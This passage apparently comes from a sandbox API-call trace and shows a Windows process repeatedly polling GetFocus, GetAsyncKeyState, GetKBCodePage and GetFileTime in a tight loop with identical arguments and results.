(vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.815] GetFocus () returned 0x0 [0246.815] GetAsyncKeyState (vKey=58) returned 0 [0246.815] GetKBCodePage () returned 0x1b5 [0246.815] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.816] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.816] GetFocus () returned 0x0 [0246.816] GetAsyncKeyState (vKey=58) returned 0 [0246.816] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.817] GetKBCodePage () returned 0x1b5 [0246.817] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.817] GetFocus () returned 0x0 [0246.817] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.818] GetAsyncKeyState (vKey=58) returned 0 [0246.818] GetKBCodePage () returned 0x1b5 [0246.818] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.818] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.819] GetAsyncKeyState (vKey=58) returned 0 [0246.819] GetKBCodePage () returned 0x1b5 [0246.819] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.819] GetFocus () returned 0x0 [0246.820] GetAsyncKeyState (vKey=58) returned 0 [0246.820] GetKBCodePage () returned 0x1b5 [0246.820] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.820] GetFocus () returned 0x0 [0246.820] GetAsyncKeyState (vKey=58) returned 0 [0246.820] GetKBCodePage () returned 0x1b5 [0246.820] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.820] GetFocus () returned 0x0 [0246.820] GetAsyncKeyState (vKey=58) returned 0 [0246.820] GetKBCodePage () returned 0x1b5 [0246.820] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.823] GetFocus () returned 0x0 [0246.823] GetAsyncKeyState (vKey=58) returned 0 [0246.823] GetKBCodePage () returned 0x1b5 [0246.823] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.823] GetFocus () returned 0x0 [0246.823] GetAsyncKeyState (vKey=58) returned 0 [0246.823] GetKBCodePage () returned 0x1b5 [0246.823] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.823] GetFocus () returned 0x0 [0246.823] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0246.824] GetFocus () returned 0x0 [0246.824] GetAsyncKeyState (vKey=58) returned 0 [0246.824] GetKBCodePage () returned 0x1b5 [0246.824] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: 